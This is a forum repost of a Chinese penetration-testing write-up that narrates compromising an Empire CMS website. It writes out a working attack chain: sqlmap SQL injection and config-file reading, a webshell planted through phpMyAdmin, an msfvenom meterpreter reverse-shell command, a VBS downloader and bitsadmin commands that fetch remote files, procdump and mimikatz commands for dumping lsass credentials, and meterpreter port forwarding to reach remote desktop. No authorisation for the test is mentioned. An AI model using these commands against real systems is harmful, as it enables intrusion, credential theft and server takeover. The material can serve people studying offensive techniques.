安全矩阵

 找回密码
 立即注册
搜索
查看: 3643|回复: 0

一次艰难的网站渗透-渗透实战

[复制链接]

114

主题

158

帖子

640

积分

高级会员

Rank: 4

积分
640
发表于 2020-8-27 18:53:10 | 显示全部楼层 |阅读模式
一次艰难的网站渗透-渗透实战
原创:nuoyan
来自于公众号: Tide安全团队

信息收集
弱口令登录失败。
网站使用帝国cms7.2

弱口令登录失败,使用帝国cms的通用漏洞,失败。
在知道绝对路径的情况下,dba权限的sql注入可以直接执行os-shell命令拿shell。
扫描开放端口,反查域名,寻找最可能存在sql注入的网站。

经过多次尝试,发现了一个联合查询型。且为dba权限的注入点。


sql注入的利用
已知绝对路径,且注入点为dba权限,在平时的大多数渗透中,就已经意味着getshell了。
然而,在这次渗透中,os-shell并没有执行成功。

经过多次尝试都以失败告终,猜测某种waf起了作用。
尝试使用sqlmap的写文件命令(--file-write 本地文件地址  --file-dest 写入地址),直接写入文件到网站目录下。


没有找到文件,多次尝试sqlmap无法成功写入文件。
尝试使用sql-shell执行sql语句写入文件。

失败,显示不支持非查询语句。

肉到嘴边吃不到呢,这感觉不好,sqlmap中所有能getshell的方法,都试的差不多了,依然没有成功。
这时突然想起了网站存在phpmyadmin,也许可以通过phpmyadmin拿shell。
不知道数据库密码,需要通过sqlmap的--file-read命令读取网站的配置文件。一般情况下网站配置文件的位置是没法确定的,然而,网站使用了帝国cms,一般配置文件的位置是固定的。帝国cms7.0后配置文件在e/config/config.php

成功读取到网站配置信息。


phpmyadmin的利用
使用获取到的密码登录phpmyadmin

执行sql语句写入文件。

执行成功。

访问生成的文件,可以访问到,使用菜刀连接失败。

怀疑是木马没有免杀,或者菜刀流量被拦截。
换上免杀马,使用插件hackbar执行一句话,和加密中转shell流量都以失败告终。
经过多次尝试对比,发现脚本木马只能够本地执行,无法远程执行命令。

  1. <?php echo `ipconfig`>
复制代码

生成一个本地执行ipconfig的脚本文件,并把内容输出出来。
访问该文件,成功访问到输出的ip信息。


猜测正向连接无法使用,只能使用反向连接,把对方的shell反弹到公网。
把反弹脚本转化为16进制。

开启nc监听,访问生成的文件。

反弹成功,且为最高权限。

但是进程中发现存在360全家桶。无法添加用户。只能尝试读取当前管理员的密码。
且上传Mimikatz无法做到免杀。

Procdump+Mimikatz:Procdump由微软官方提供:
https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
分为2步:
1、导出lsass.exe进程
  1. procdump64.exe -accepteula -ma lsass.exe lsass.dmp
复制代码


2、使用mimikatz破解导出的文件lsass.dmp
  1. mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
复制代码


因此现在需要上传procdump64.exe生成lsass.dmp文件,下载下来在本地读取密码。


下载文件
1、创建downfile.vbs下载文件。
  1. echo set a=createobject(^"adod^"+^"b.stream^"):set w=createobject(^"micro^"+^"soft.xmlhttp^"):w.open^"get^",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2  >> downfile.vbs
  2. cscript downfile.vbs http://192.168.40.13:9090/fileLibrary/5d5X9mSTZXjH9VlhXNN/x.txt D:\\tomcat8.5\\webapps\\x.jsp
复制代码


2、使用bitsadmin命令
  1. bitsadmin /transfer n http://www.xx.com/code.jpg c:\users\sdyp\desktop\ff.jpg
复制代码
首先利用第一种方法下载,上传vbs文件失败了,360全家桶果然可以。vps被当成病毒被杀了。
使用第二种方法,也失败了,不知道是由于什么原因失败的。
在dos命令无法满足我的情况下,msf出场了。


msf利用
由于到目前为止,只能通过数据库进行文件的上传。
因此需要用到php的反弹木马,再加上360全家桶不会去检查网站文件的安全性,省了免杀处理的环节。
php反弹木马使用php/meterpreter/reverse_tcp模块
  1. msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.2.146 LPORT=1234 -f raw >text.php
复制代码



转化为16进制,使用phpmyadmin上传,开启监听,访问上传的文件。

成功接收到了会话。
使用meterpreter的上传命令上传procdump64.exe到网站根目录
使用procdump64.exe -accepteula -ma lsass.exe lsass.dmp命令导出lsass.dmp文件到根目录下载下来。

使用内核相同到虚拟机运行mimikatz,得到管理员明文的账户密码。


到这一步已经得到了管理员到账户密码,下一步需要把远程连接服务转发出来。
使用tasklist  /svc命令查看TermService的进程号。
使用netstat -ano查看进程号对应的端口为5277
确定5277为修改后远程桌面服务端口。
在meterpreter中使用端口转发,转发5277到本地的5555端口。
  1. portfwd add -l 5555 -p 5277 -r 192.168.100.208
复制代码


远程桌面连接本地的5555端口,输入得到的账户密码,登录成功。


总结
证实了服务器的防护很多,vbs文件被杀了!终于渗透成功,总归只能说网站的运行权限太高了,如果只是普通用户,想要拿下这台服务器可真的是太难了。

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 05:32 , Processed in 0.013836 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表